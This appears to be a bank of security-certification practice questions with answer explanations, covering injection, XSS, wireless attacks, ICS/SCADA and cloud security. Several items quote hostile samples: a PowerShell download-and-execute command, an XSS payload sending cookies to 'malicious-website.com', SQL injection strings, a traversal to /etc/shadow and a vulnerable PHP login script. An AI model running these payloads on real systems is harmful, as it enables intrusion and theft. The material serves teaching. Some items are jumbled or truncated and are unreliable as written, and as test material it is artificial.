Due to new regulations, your organization's CIO has the information security team institute a vulnerability management program. What framework would BEST support this program's establishment? A. NIST B. OWASP C. SDLC D. SANS	A. NIST Explanation OBJ-3.1: NIST (National Institute of Standards and Technology) produced a useful patch and vulnerability management program framework in its Special Publication (NIST SP 800-40). It would be useful during the program's establishment and provide a series of guidelines and best practices. SANS is a company specializing in cybersecurity and secure web application development training and sponsors the Global Information Assurance Certification (GIAC). The SDLC is the software development lifecycle. It is a method for dividing programming projects into separate phases. The Open Web Application Security Project (OWASP) is a community effort that provides free access to many secure programming resources. The resources provided include documentation on web app vulnerabilities and mitigation tactics, software tools used to identify and handle threats that target web applications, frameworks for secure development life cycle implementation, frameworks for penetration testing web apps, general secure coding best practices, guidelines for specific web-based languages, and more.
Cybersecurity analysts are experiencing some issues with their vulnerability scans aborting because the previous day's scans are still running when the scanner attempts to start the current day's scans. Which of the following recommendations is LEAST likely to resolve this issue?	C. Reduce the sensitivity of scans Explanation OBJ-3.1: If the cybersecurity analyst were to reduce the scans' sensitivity, it still would not decrease the time spent scanning the network and could alter the effectiveness of the results received. In this scenario, the scans, as currently scoped, are taking more than 24 hours to complete with the current resources. The analyst could reduce the scans' scope, thereby scanning fewer systems or vulnerabilities signatures and taking less time to complete.

A. Add another vulnerability scanner B. Reduce the scope of scans C. Reduce the sensitivity of scans D. Reduce the frequency of scans	Alternatively, the analyst could reduce the scans' frequency by moving to a less frequent schedule, such as one scan every 48 hours or one scan per week. The final option would be to add additional vulnerability scanners to the process. This would allow the two scanners to work together to divide the workload and complete the task within the 24-hour scan frequency currently provided.
Which of the following is true concerning LM hashes? A. LM hashes consist of 48 hexadecimal characters B. LM hashes are based on AES128 cryptographic standard C. Uppercase characters in the password are converted to lowercase D. LM hashes are not generated when the password length exceeds 15 characters	D. LM hashes are not generated when the password length exceeds 15 characters Explanation OBJ-3.2: LM hash, also known as LanMan hash or LAN Manager hash, is a compromised password hashing function. This was the primary hash that Microsoft LAN Manager and Microsoft Windows versions before Windows NT used to store user passwords. Support for the legacy LAN Manager protocol continued in later versions of Windows for backward compatibility. Still, it was recommended by Microsoft to be turned off by administrators due to the LM hash's weak strength. LM hashes are not generated when the password length exceeds 15 characters since it is stored as a 16-byte value.
A penetration tester issued the following command on a victimized Windows system: ========== c:\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://diontraining.com/updates') ========== Based on this command, which of the following exploits is the penetration tester MOST likely trying to conduct? A. Scheduling a task for persistence B. Download and execute a remote script C. Conduct DLL hijacking D. Exploiting an unquoted service paths	B. Download and execute a remote script Explanation OBJ-3.2: This command executes the PowerShell environment without loading the PowerShell profile (-nop) and in a hidden window (-w hidden). The command powershell.exe is running is shown after the -c, which stands for executing a command or script block and then exiting. This command in PowerShell to Invoke-Expression (IEX) creates a new web client object and then downloads the file located at the URL provided. This file could be malicious, and if it is another PowerShell script, it will be executed once downloaded.
Sarah has reason to believe that systems on her network have been compromised by an APT. She has noticed many file transfers outbound to a remote site via TLS-protected HTTPS sessions from unknown systems. Which of the following techniques would most likely detect the APT? A. Network traffic analysis B. Network forensics C. Endpoint behavior analysis D. Endpoint forensics	D. Endpoint forensics Explanation OBJ-3.3: An advanced persistent threat (APT) is a stealthy computer network threat actor, typically a nation-state or state-sponsored group, which gains unauthorized access to a computer network and remains undetected for an extended period. APTs usually send encrypted traffic so that they are harder to detect through network traffic analysis or network forensics. This means that you need to focus on the endpoints to detect an APT. Unfortunately, APTs are very sophisticated, so endpoint behavioral analysis is unlikely to detect them easily, so Sarah will need to conduct endpoint forensics as her most likely method to detect an APT and their associated infections on her systems.
You are planning an engagement with a new client. Which target type should be selected to simulate an APT? A. Internal B. On-site C. Third-party hosted D. External	D. External Explanation OBJ-3.3: An advanced persistent threat (APT) is a threat that uses multiple attack vectors to gain unauthorized access to sensitive resources. APTs are often funded by nation-states and used for intelligence-gathering operations against the government, military, and commercial networks. In general, APT attacks as an external target type.

A salesperson's laptop has become unresponsive after attempting to open a PDF in their email. A cybersecurity analyst reviews the IDS and anti-virus software for any alerts or unusual behavior but finds nothing suspicious. Which of the following threats would BEST classify this scenario? A. Ping of death B. Zero-day malware C. PII exfiltration D. RAT	B. Zero-day malware Explanation OBJ-3.3: Based on the scenario provided, it appears that the laptop has become the victim of a zero-day attack. A zero-day attack is an attack that exploits a potentially serious software security weakness that the vendor or developer may be unaware of. This means that there will not be a signature available in the IDS or anti-virus definition file. Therefore, it cannot be combatted with traditional signature-based detection methods. PII (personally identifiable information) exfiltration is the unauthorized copying, transfer, or retrieval of PII data from a computer or server. A ping of death is a type of attack on a computer system that involves sending a malformed or otherwise malicious ping to a computer. A remote access Trojan (RAT) is a malware program that includes a back door for administrative control over the target computer. Based on the scenario's information, we do not have any indications that a ping packet was sent, that PII has been exfiltrated, or that the attack now has remote control of the laptop. Since neither the IDS nor anti-virus alerted on the PDF, it is most likely a form of a zero-day attack.
Review the following packet captured at your NIDS: ========== 23:12:23.154234 IP 86.18.10.3:54326 > 71.168.10.45:3389 Flags [P.], Seq 1834:1245, ack1, win 511, options [nop,nop, TS val 263451334 erc 482862734, length 125 ========== After reviewing the packet above, you discovered there is an unauthorized service running on the host. Which of the following ACL entries should be implemented to prevent further access to the unauthorized service while maintaining full access to the approved services running on this host? A. DENY TCP ANY HOST 71.168.10.45 EQ 3389 B. DENY IP HOST 71.168.10.45 ANY EQ 25 C. DENY IP HOST 86.18.10.3 EQ 3389 D. DENY TCP ANY HOST 86.18.10.3 EQ 25	A. DENY TCP ANY HOST 71.168.10.45 EQ 3389 Explanation OBJ-4.5: Since the question asks you to prevent unauthorized service access, we need to block port 3389 from accepting connections on 71.168.10.45 (the host). This option will deny ANY workstation from connecting to this machine (host) over the Remote Desktop Protocol service that is unauthorized (port 3389).
A network administrator receives a call asking for assistance with connecting to the network. The person on the phone asks for the IP address, subnet mask, and VLAN required to access the network. What type of attack might this be? A. Social engineering B. spoofing C. Zero-day attack D. VLAN hopping	A. Social engineering Explanation OBJ-4.2: Social engineering is a type of attack on a network in which an attacker uses their confidence and their victims' gullibility to gain access. It is the only type of attack on a network that is directed towards the human element. The human interaction with the network administrator makes the other three answers incorrect.
An analyst reviews a triple-homed firewall configuration that connects to the internet, a private network, and one other network. Which of the following would best describe the third network connected to this firewall? A. DMZ B. Subnet C. NIDS D. GPO	A. DMZ Explanation OBJ-4.5: A triple-homed firewall connects to three networks internal (private), external (internet/public), and the demilitarized zone (DMZ). The demilitarized zone (DMZ) network hosts systems that require access from external hosts. Group Policy Object (GPO) is a collection of Group Policy settings that defines what a system looks like and how it behaves for a defined group of users. A network intrusion detection system (NIDS) is a system that attempts to detect hacking activities, denial of service attacks, or port scans on a computer network or a computer itself. A subnet is a logical subdivision of an IP network.

A cybersecurity analyst is reviewing the logs of a proxy server and saw the following URL,
http://test.diontraining.com/?param=<**data:text/html;base64,**PHNjcmlwdD5hbGVydCgnSSBsb3ZlIERpb24gVHJhaW5pbmcnKTwvc2NyaXB0Pg==**.

What type of attack was attempted?

A. SQL injection
B. XSS
C. XML injection
D. Password spraying

B. XSS

Explanation
OBJ-5.2: This is an example of a URL-based XSS (cross-site scripting) attack. A cross-site scripting attack uses a specially crafted URL that includes attack code that will cause information that users enter into their web browser to be sent to the attacker. In this example, everything from ?param onward is part of the attack. You can see the base64 encoded string of PHNjcmlwdD5hbGVydCgnSSBsb3ZlIERpb24gVHJhaW5pbmcnKTwvc2NyaXB0Pg== being used. While you could not convert it during the exam without a base64 decoder, you should be able to tell that it is not a SQL injection nor an XML injection based on your studies. It is also not an attempt to conduct password spraying by logging into different usernames with the same password. So, by process of elimination, you can determine this is an XSS attack. If you did have a base64 decoder, you would have found that the parameter being passed would translate to <*script*>alert('I love Dion Training')<*/script*>, which is a simple method to cause your web browser to create a popup that displays the text "I love Dion Training." If you attempt to load this URL in your browser, it may or may not function depending on your browser's security.

Which of the following might be exploited on a Linux server to conduct a privilege escalation?

A. Kerberoasting
B. Insecured sudo
C. Cpassword
D. DLL hijacking

B. Insecured sudo

Explanation
OBJ-5.2: An insecure sudo vulnerability could allow an attacker to circumvent protections and execute commands that would normally require a password, resulting in privilege escalation. Kerberoasting, Cpassword, and DLL hijacking are Windows-specific privilege escalation techniques.

You are conducting a static analysis of an application's source code and see the following:
==========
(String) page += "<type name='id' type='INT' value='" + request.getParameter("ID") + "'>";
==========
Based on this code snippet, which of the following security flaws exists in this application?

A. Race condition
B. Improper input validation
C. Improper error handling
D. Insufficient logging and monitoring

B. Improper input validation

Explanation
OBJ-5.2: Based on this code snippet, the application is not utilizing input validation. This would allow a malicious user to conduct an XSS (cross-site scripting) attack. For example, an attacker could input the following for a value of "ID": '><*script*>document.location= 'http://www.malicious-website.com/cgi-bin/cookie.cgi? Foo='+document.cookie<*/script*>'. This could cause the victim ID to be sent to "malicious-website.com" where additional code could be run, or the session can then be hijacked. Based on the code snippet provided, we have no indications of the level of logging and monitoring being performed, nor if proper error handling is being conducted. A race condition is a software vulnerability when the resulting outcome from execution processes is directly dependent on the order and timing of certain events. Those events fail to execute in the order and timing intended by the developer.

While conducting a static analysis source code review of a program, you see the following line of code:
==========
String query = "SELECT * FROM CUSTOMER WHERE CUST_ID='" + request.getParameter("id") + "'";
==========
What is the issue with the largest security issue with this line of code?

C. An SQL injection could occur because input validation is not being used on the id parameter

Explanation
OBJ-5.3: This code takes the input of "id" directly from a user or other program without conducting any input validation. This could be exploited and used as an attack vector for an SQL injection. If a malicious user can alter the ID source, it might get replaced with something like' or '1' ='1. This will cause the SQL statement to become: "SELECT * FROM CUSTOMER WHERE CUST_ID='' or '1'='1'". Because '1' always equals '1', the where clause will always return 'true,' meaning that EVERY record in the database could now become available to the attacker. When

A. The code is using parameterized queries B. The * operator will allow retrieval of every data field about this customer in the CUSTOMER table C. An SQL injection could occur because input validation is not being used on the id parameter D. This code is vulnerable to a buffer overflow attack	creating SQL statements, there are reasons for and against the use of the * operator. Its presence alone does not necessarily indicate a weakness. With only one line of code being reviewed, you cannot make any statement about whether it is vulnerable to a buffer overflow attack. You do not see the declaration values for the initialization of the id variable. This code is not using parameterized queries, but if it did, then it would eliminate this vulnerability. A parameterized query is a type of output encoding that relies on prepared statements to reduce the risk of an SQL injection.
While conducting a penetration test of a web application, you enter the following URL, http://test.diontraining.com/../../../../etc/shadow. What type of exploit are you attempting? A. SQL injection B. Buffer overflow C. Directory traversal D. XML injection	C. Directory traversal Explanation OBJ-5.2: This is an example of a directory traversal. A directory traversal attack aims to access files and directories that are stored outside the webroot folder. By manipulating variables or URLs that reference files with "dot-dot-slash (../)" sequences and its variations or using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer's boundary to overwrite an adjacent memory location. XML Injection is an attack technique used to manipulate or compromise an XML application or service's logic. SQL injection is the placement of malicious code in SQL statements via web page input.
Which of the following vulnerabilities is the greatest threat to data confidentiality? A. HTTP TRACE/TRACK methods enabled B. SSL Server with SSLv3 enabled vulnerability C. phpinfo information disclosure vulnerability D. Web application SQL injection vulnerability	D. Web application SQL injection vulnerability Explanation OBJ-5.3: Each vulnerability mentioned poses a significant risk, but the greatest threat comes from the SQL injection. An SQL injection could allow an attacker to retrieve our data from the backend database directly. Using this technique, the attacker could also alter the data and put it back, and nobody would notice everything that had been changed, thereby also affecting our data integrity. The HTTP TRACE/TRACK methods are normally used to return the full HTTP request to the requesting client for proxy-debugging purposes and allow the attacker to access sensitive information in the HTTP headers. Since this only exposes information in the headers, it minimizes the risk to our system's data confidentiality. An SSL server with SSLv3 enabled is not ideal since this is an older encryption type, but it still provides some confidentiality. The phpinfo information disclosure vulnerability prints out detailed information on both the system and the PHP configuration. This information by itself doesn't disclose any information about the data stored within the system, though, so it isn't a great threat to our data's confidentiality.
A security analyst is conducting a log review of the company's web server and found two suspicious entries: ========== [12Nov2020 10:07:23] "GET /logon.php?user=test'+oR+7>1%20—HTTP/1.1" 200 5825 [12Nov2020 10:10:03] "GET /logon.php?user=admin';%20—HTT{/1.1" 200 5845 ========== The analyst contacts the web developer and asks for a copy of the source code to the logon.php script. The script is as follows: ========== <*?php include('../../config/db_connect.php'); $user = $_GET['user']; $pass = $_GET['pass']; $sql = "SELECT * FROM USERS WHERE username = '$user'	B. SQL injection Explanation OBJ-5.3: Based on the log entries, it appears the attack was successful in conducting a SQL injection. Notice the escape character (') used in the log. A connection to the MySQL database is being used in the script, which could be exploited since no input validation is being performed. Command injection is an attack in which the goal is to execute arbitrary commands on the host

AND password = '$pass'"; $result = MySQL_query($sql) or die ("couldn't execute query"); if (MySQL_num_rows($result) !=0) echo 'Authentication granted!'; else echo 'Authentication failed!'; ?*> ========== Based on source code analysis, which type of vulnerability is this web server vulnerable to? A. Command injection B. SQL injection C.	operating system via a vulnerable application. SQL injection is a specific type of command injection. LDAP injection is a code injection technique used to exploit web applications that could reveal sensitive user information or modify information represented in the LDAP (Lightweight Directory Access Protocol) data stores. Directory traversal or Path Traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server's root directory.
A malicious user is blocking mobile devices from connecting to the Internet when other people are in the coffee shop. What is the malicious user performing? A. Man-in-the-middle attack B. Blacklisting IP addresses in the ACL C. Frequency jamming D. Spoofing	C. Frequency jamming Explanation OBJ-6.1: Frequency jamming is one of the many exploits used to compromise a wireless environment. It works by denying service to authorized users as legitimate traffic is jammed by the overwhelming frequencies of illegitimate traffic. There is no indication that the malicious user is creating a rogue AP (which is a form of spoofing) or performing a MITM attack by having users connect through their laptop or device. Also, there is no mention of certain websites or devices being blocked logically. Therefore there is no blacklisting of IP addresses performed.
A penetration tester is conducting an assessment of a wireless network that is secure using WPA2 Enterprise encryption. Which of the following are major differences between conducting reconnaissance of a wireless network versus a wired network? (SELECT TWO) A. Encryption B. Network access control C. Port security D. Authentication E. Physical accessibility F. MAC filtering	E. Physical accessibility Explanation OBJ-6.1: Most wireless networks utilize end-to-end encryption, whereas wired networks do not. Physical accessibility is another major difference between wireless and wired networks since wireless networks can be accessed from a distance using powerful antennas. Authentication, MAC filtering, and network access control (NAC) can be implemented equally on wired and wireless networks. Port security is only applicable to wired networks.
You are conducting a wireless penetration test against an organization. You have identified that they are using WEP encryption on their wireless access points. You are impatient and do not want to wait to collect enough packets to find a repeated initialization vector. You decide to extract part of the key material from one of the packets and use it to send an ARP request to the AP. Which of the following exploits did you utilize in this attack? A. Fragmentation attack B. Deauthentication attack C. Karma attack D. Downgrade attack	A. Fragmentation attack Explanation OBJ-6.1: A fragmentation attack obtains the pseudorandom generation algorithm (PRGA) of network packets used in WEP. The PRGA can be used to craft encrypted packets that you can inject into the access point. These injected packets can speed up cracking the WEP password; otherwise, it might take a while to receive enough packets to get the repeated IV. In a fragmentation attack, you extract part of the key material from at least one packet and use this to send an ARP request to the AP. If successful, the AP responds with more of the key material in the packet echoed back to you. You repeat this process many times until around 1500 bytes of the PRGA is captured, at which point you can then use a packet crafting tool to begin the injection process.
You are conducting a wireless penetration test against an organization. During your reconnaissance, you discover that their network is known as "BigCorpWireless" has its SSID broadcast is enabled. You configure your laptop to respond to requests for connection to "BigCorpWireless" and park at the far end of the parking lot. At the end of the workday, as people get in their cars in the parking lot, you see numerous smartphones connecting	C. Karma attack Explanation OBJ-6.1: A karma attack is a variant of the evil twin attack. A karma attack exploits the behavior of a wireless client trying to connect to its preferred network list. This list contains the SSIDs of access points the device has connected to in the past. When a wireless

to your laptop over WiFi. Which of the following exploits did you utilize? A. Fragmentation attack B. Deauthentication attack C. Karma attack D. Downgrade attack	device is looking to connect to the internet, it firsts beacons to determine if any of these previously connected to networks are within range. This allows an attacker to answer the request, allowing the user to connect to them instead as an evil twin. At this point, the attacker is now the man-in-the-middle between the wireless client and the internet, which is useful for many different exploits.
You are conducting a wireless penetration test against an organization. You have been monitoring the WPA2 encrypted network for almost an hour but have been unable to successfully capture a handshake. Which of the following exploits should you use to increase your chances of capturing a handshake? A. Fragmentation attack B. Deauthentication attack C. Karma attack D. Downgrade attack	B. Deauthentication attack Explanation OBJ-6.1: Deauthentication attacks are used in the service of an evil twin, replay, cracking, denial of service, and other attacks. All 802.11 Wi-Fi protocols include a management frame that a client can use to announce that it wishes to terminate a connection with an access point. The victim's device will be kicked off the access point by spoofing the victim's MAC address and sending the deauthentication frame to the access point. If the user is still using the network, the wireless adapter will automatically reconnect by sending a handshake to the access point. This allows the attacker to capture the handshake during the reconnection.
Which of the following encryption types was used by WPA to better secure wireless networks than WEP? A. CCMP B. AES C. TKIP D. IV	C. TKIP Explanation OBJ-6.1: Wi-Fi Protected Access (WPA) fixes most of the security problems with WEP. WPA still uses the RC4 cipher but adds a mechanism called Temporal Key Integrity Protocol (TKIP) to fix the issues with key generation.
Dion Training has an open wireless network called "InstructorDemos" for its instructors to use during class, but they do not want any students connecting to this wireless network. The instructors need the "InstructorDemos" network to remain open since some of their IoT devices used during course demonstrations do not support encryption. Based on the requirements provided, which of the following configuration settings should you use to satisfy the instructor's requirements and prevent students from using the "InstructorDemos" network? A. MAC filtering B. NAT C. QoS D. Signal strength	A. MAC filtering Explanation OBJ-6.1: Since the instructors need to keep the wireless network open, the BEST option is to implement MAC filtering to prevent the students from connecting to the network while still keeping the network open. Since the instructors would most likely use the same devices to connect to the network, it would be relatively easy to implement a MAC filtering based whitelist of devices that are allowed to use the open network and reject any other devices not listed by the instructors (like the student's laptops or phones). Reducing the signal strength would not solve this issue since students and instructors are in the same classrooms. Using Network Address Translation and Quality of Service will not prevent the students from accessing or using the open network.
What is a common technique used by malicious individuals to perform a man-in-the-middle attack on a wireless network? A. ARP cache poisoning B. Amplified DNS attacks C. Session hijacking D. Creating an evil twin	D. Creating an evil twin Explanation OBJ-6.1: Evil Twin access points are the most common way to perform a man-in-the-middle attack on a wireless network. An evil twin is a copy of a legitimate access point, not necessarily giving it access to a specific network or even the internet.
Which of the following focuses on using digitized data as an internal means to reach a physical goal? A. IT systems B. OT systems	B. OT systems Explanation OBJ-7.2: Operational technology (OT) is the application of digital technology for detecting or causing changes in physical devices through monitoring and/or control. OT differs from IT in that it uses digitized data as an internal means to a physical goal, rather than to make information available to users. OT refers to physical devices (for instance, valves and pumps in machinery) that use digitized data to take physical action. OT devices can be as small as the engine control module (ECM) of a car or as large as the distributed control network of a national electricity

C. Digital products D. Services	grid. The collective term 'industrial control systems' (ICSs) refers to OT systems such as supervisory control and data acquisition (SCADA) systems, distributed control systems (DCSs), remote terminal units (RTUs), and programmable logic controllers (PLCs), along with dedicated networks and organization units. The Internet of Things (IoT) supports OT devices, allowing them to connect both to each other and to information systems.
During a security audit, you discovered that customer service employees have been sending unencrypted confidential information to their personal email accounts via email. What technology could you employ to detect these occurrences in the future and send an automated alert to the security team? A. SSL B. UTM C. DLP D. MDM	C. DLP Explanation OBJ-7.1: Data loss prevention (DLP) software detects potential data breaches/data exfiltration transmissions and prevents them by monitoring, detecting, and blocking sensitive data while in-use, in-motion, and at-rest. This can be configured to detect and alert on future occurrences of this issue. Secure Socket Layer (SSL) is a distraction in this question since the questions asked about information being sent unencrypted. The connection between the client and the email server could be encrypted using SSL. However, the information is still be sent to an employee's personal email account, which equates to a loss of control over the company's confidential data. Mobile Device Management (MDM) software is used for the configuration and securing of mobile devices like smartphones and tablets. Unified Threat Management (UTM) is a device that combines the functions of a firewall, anti-malware solution, and IDS into a single piece of hardware. Some UTM's may provide a DLP functionality, but the answer of a DLP is a better answer to this question.
During your reconnaissance, you have determined that your client has devices used to send remote control signals to industrial assets used by their critical infrastructure utilities connected to their corporate network. Which of the following methods would MOST likely be the best method for exploiting these systems? A. Use social engineering to trick a user into opening a malicious APK B. Use a spearphishing campaign to trick a user into installing a RAT C. Identify a jailbroken device for easy exploitation D. Use Metasploit modules designed to target the SCADA systems	D. Use Metasploit modules designed to target the SCADA systems Explanation OBJ-7.2: A penetration tester can exploit supervisory control and data acquisition (SCADA) systems if they are within the engagement's scope. While Metasploit was initially designed for engagements against workstations and servers, Metasploit has several modules in the exploit/ windows/scada category that target vendor-specific SCADA components running Windows. Many of these trigger a buffer overflow, though, so be careful when using them and ensure you have permission to exploit these devices in your written authorization.

Your company has been contracted to develop an Android mobile application for a major bank. You have been asked to verify the security of the Java function's source code below:
==========
int verifyAdmin(String password)
{
if (password.equals("mR7HCS14@31&#")) {
return 0;
}
return 1;
}
==========
 	
Which of the following vulnerabilities exist in this application's authentication function based solely on the source code provided?
 	
A. The function is using parameterized queries
B. The functions is vulnerable to an SQL injection attack
C. The function is using hard-coded credentials to verify the password entered by the user
D. The function is vulnerable to a buffer overflow attack
	C. The function is using hard-coded credentials to verify the password entered by the user
	
	Explanation
	OBJ-7.1: The function uses hard-coded credentials in the function, which is an insecure practice that can lead to compromise. The password for the application is shown in the source code as mR7HCS14@31&#. Even if this was obfuscated using encoding or encryption, it is a terrible security practice to include hard-coded credentials in the application since an attacker can reverse-engineer them. In this case, it could be used to rob the bank or its customers! There is no evidence of a SQL injection or buffer overflow attack vulnerability based on the code being shown. In fact, this code doesn't even show any SQL or ability to connect to an SQL database. We cannot see the variable initiation in this code, either, so we cannot determine if it is vulnerable to a buffer overflow attack. Finally, a parameterized query is a security feature, not a vulnerability, and this source code does not show any evidence of parameterized queries being used.

Syed is developing a vulnerability scanner program for a large network of sensors to monitor his company's transcontinental oil pipeline. What type of network is this? A. SoC B. CAN C. BAS D. SCADA	D. SCADA Explanation OBJ-7.2: SCADA (supervisory control and data acquisition) networks work off an ICS (industry control system) and maintain sensors and control systems over large geographic areas. A building automation system (BAS) for offices and data centers ("smart buildings") can include physical access control systems, but also heating, ventilation, and air conditioning (HVAC), fire control, power and lighting, and elevators and escalators. Vehicular networks are called a controller area network (CAN). A CAN uses serial communication buses to connect electronic control units and other subsystems in cars and unmanned aerial vehicles (UAV). System-on-chip (SoC) is a design where all these processors, controllers, and devices are provided on a single processor die or chip.
What is the BEST explanation for why consumer-based IoT devices are less secure than traditional desktops and servers? A. IoT devices are unable to receive patches and updates B. IoT devices focus convenience more than security C. IoT devices are not powerful enough to support encryption D. IoT devices are only used in low security cases	B. IoT devices focus convenience more than security Explanation OBJ-7.2: IoT device manufacturers are more focused on making the devices convenient to use instead of ensuring they have strong security. The other options are incorrect and not true. IoT devices can receive patches and updates through an over-the-air firmware update if a manufacturer creates the patches. IoT devices are powerful these days, and they can support encryption and other security features if manufacturers would add them to their code. IoT devices are not just used in low-security use cases, either. For example, IoT devices are often used as life-saving devices in hospitals or security systems in our homes. Unfortunately, IoT devices are notoriously lax when it comes to security. Some IoT systems may even allow a user full remote control of a device.
Dion Consulting Group has recently been awarded a contract to provide cybersecurity services for a major hospital chain in 48 cities across the United States. You are conducting a vulnerability scan of the hospital's enterprise network when you detect several devices that could be vulnerable to a buffer overflow attack. Upon further investigation, you determine that these devices are PLCs used to control the hospital's elevators. Unfortunately, there is not an update available from the elevator manufacturer for these devices. Which of the following mitigations do you recommend? A. Recommend immediate replacement of the PLCs with ones that are not vulnerable to this type of attack B. Recommend isolation of the elevator control system from the rest of the production network through the change control process C. Conduct a penetration test of the elevator control system to prove that the possibility of this kind of atta	B. Recommend isolation of the elevator control system from the rest of the production network through the change control process Explanation OBJ-7.2: The best recommendation is to conduct the elevator control system's logical or physical isolation from the rest of the production network and the internet. This should be done through the change control process that brings the appropriate stakeholders together to discuss the best way to mitigate the vulnerability to the elevator control system that defines the business impact and risk of the decision. Sudden disconnection of the PLCs from the rest of the network might have disastrous results (i.e., sick and injured trapped in an elevator) if there were resources that the PLCs were dependent on in the rest of the network. Replacement of the elevators may be prohibitively expensive, time-consuming, and likely something that the hospital would not be able to justify to mitigate this vulnerability. Attempting further exploitation of the buffer overflow vulnerability might inadvertently trap somebody in an elevator or cause damage to the elevators themselves.
Which technique would provide the largest increase in security on a network with ICS, SCADA, or IoT devices? A. Installation of anti-virus tools B. Use of a host-based IDS or IPS	D. User and entity behavior analytics Explanation OBJ-7.2: Since ICS, SCADA, and IoT devices often run proprietary, inaccessible, or unpatchable operating systems, the traditional tools used to detect the presence of malicious cyber activity in normal enterprise networks will not function properly. Therefore, user and entity behavior analytics (UEBA) is best suited to detect and classify known-good behavior from these systems to create a baseline. Once a known-good baseline is established, deviations can be detected and analyzed. UEBA may be heavily dependent on advanced computing techniques like artificial intelligence and

C. implement endpoint protection platforms D. User and entity behavior analytics	machine learning and may have a higher false-positive rate. As the name suggests, the analytics software tracks user account behavior across different devices and cloud services. Entity refers to machine accounts, such as client workstations or virtualized server instances, and embedded hardware, such as the Internet of Things (IoT) devices. Traditional technologies include anti-virus tools, host-based IDS and IPS, and endpoint protection platforms.
During your reconnaissance, you have determined that your client's employees all use Android smartphones that connect back to the corporate network over a secure VPN connection. Which of the following methods would MOST likely be the best method for exploiting these? A. Use social engineering to trick a user into opening a malicious APK B. Use web-based exploits against the devices web interfaces C. Identify a jailbroken device for easy exploitation D. Use a toll like ICSSPLOIT to target specific vulnerabilities	A. Use social engineering to trick a user into opening a malicious APK Explanation OBJ-7.1: When targeting mobile devices, you must first determine if the company uses iPhones or Android-based devices. If they are using Android-based devices, you can use social engineering to trick a user into installing a malicious APK. As a penetration tester, you can create a malicious APK using msfvenom in the Metasploit framework. The user can install it directly from your website instead of the Google Play store.
During your reconnaissance, you have determined that your client's employees all use iPhones that connect back to the corporate network over a secure VPN connection. Which of the following methods would MOST likely be the best method for exploiting these? A. Use social engineering to trick a user into opening a malicious APK B. Use web-based exploits against the devices web interfaces C. Identify a jailbroken device for easy exploitation D. Use a toll like ICSSPLOIT to target specific vulnerabilities	C. Identify a jailbroken device for easy exploitation Explanation OBJ-7.1: When targeting mobile devices, you must first determine if the company uses iPhones or Android-based devices. If they are using an iPhone, it becomes much more difficult to attack since iPhone users can only install trusted apps from the App Store. If the user has jailbroken their phone, they can sideload apps and other malware. After identifying a jailbroken device, you can use social engineering to trick the user into installing your malicious code and then take control of their device.
Which of the following would a virtual private cloud infrastructure be classified as? A. Infrastructure as a Service B. Platform as a Service C. Software as a Service D. Function as a Service	A. Infrastructure as a Service Explanation OBJ-8.1: Infrastructure as a Service (IaaS) is a computing method that uses the cloud to provide any or all infrastructure needs. In a VPC environment, an organization may provision virtual servers in a cloud-hosted network. The service consumer is still responsible for maintaining the IP address space and routing internally to the cloud. Platform as a Service (PaaS) is a computing method that uses the cloud to provide any platform-type services. Software as a Service (SaaS) is a computing method that uses the cloud to provide users with application services. Function as a Service (FaaS) is a cloud service model that supports serverless software architecture by provisioning runtime containers to execute code in a particular programming language.
What is a reverse proxy commonly used for? A. Allowing access to a virtual private cloud B. To prevent the unauthorized use of cloud services from the local network C. Directing traffic to internal services if the contents of the traffic comply with the policy D. To obfuscate the origin of a user within a network	C. Directing traffic to internal services if the contents of the traffic comply with the policy Explanation OBJ-8.1: A reverse proxy is positioned at the cloud network edge and directs traffic to cloud services if the contents of that traffic comply with the policy. This does not require the configuration of the users' devices. This approach is only possible if the cloud application has proxy support. You can deploy a reverse proxy and configure it to listen for client requests from a public network, like the internet. The proxy then creates the appropriate request to the internal server on the corporate network and passes the server's response back to the external client. They are not generally intended to obfuscate the source of communication, nor are they necessarily specific to the cloud. A cloud access security broker (CASB) can be used to prevent unauthorized use of cloud services from the local network.

Your organization has just migrated to provisioning its corporate desktops as virtual machines and accessing them using thin clients. The organization believes this will enhance security since the desktop can be rewritten with a new baseline image every time the user logs into it. Based on this scenario, which of the following technologies has the organization adopted? A. VPN B. VDI C. VPC D. UEBA	B. VDI Explanation OBJ-8.1: Virtual desktop infrastructure (VDI) is a virtualization implementation that separates the personal computing environment from a user's physical computer. Virtual private cloud (VPC) is a private network segment made available to a single cloud consumer on a public cloud. A virtual private network (VPN) is a secure tunnel created between two endpoints connected via an insecure network, typically the internet. User and entity behavior analytics (UEBA) is a system that can provide an automated identification of suspicious activity by user accounts and computer hosts.
Which of the following threats to a SaaS deployment would be the responsibility of the consumer to remediate? A. Cross-site scripting B. SQL injections C. Unpatched operating systems on the server D. An endpoint security failure	D. An endpoint security failure Explanation OBJ-8.1: In a SaaS model, the consumer has to ensure that the endpoints being used to access the cloud are secure. Since the consumer owns the endpoint (laptop, desktop, tablet, smartphone, etc.), they are responsible for securing it. The entire concept behind using a SaaS product is that the service provider will patch the servers' underlying operating systems, create secure software that isn't vulnerable to SQL injection or cross-site scripting attacks, and ensure proper operations and maintenance of the backend systems.
Your company is adopting a cloud-first architecture model. Management wants to decommission the on-premises SIEM your analysts use and migrate it to the cloud. Which of the following is an issue with using this approach? A. Legal and regulatory issues may prevent data migration to the cloud B. A VM escape exploit could allow an attacker to gain access to the SIEM C. The company will be dependent on the cloud provider's backup capabilities D. The company will have less control over the SIEM	A. Legal and regulatory issues may prevent data migration to the cloud Explanation OBJ-8.1: If there are legal or regulatory requirements that require the company to host their security audit data on-premises, then moving to the cloud will not be possible without violating applicable laws. For example, some companies must host their data within their national borders, even if migrating to the cloud. The other options presented are all low risk and can be overcome with proper planning and mitigations. Most cloud providers have degrees of redundancy far above what any individual on-premises provider will be able to generate, making the concern over backups a minimal risk. If the SIEM is moved to a cloud-based server, it could still be operated and controlled in the same manner as the previous on-premise solution using a virtualized cloud-based server. While a VM or hypervisor escape is possible, they are rare and can be mitigated with additional controls.
Which cloud computing concept is BEST described as focusing on the replacement of physical hardware at a customer's location with cloud-based resources? A. SaaS B. PaaS C. IaaS D. SECaaS	C. IaaS Explanation OBJ-8.1: Infrastructure as a Service (Iaas) is focused on moving your servers and computers into the cloud. If you purchase a server in the cloud and then install and manage the operating system and software, this is Iaas.
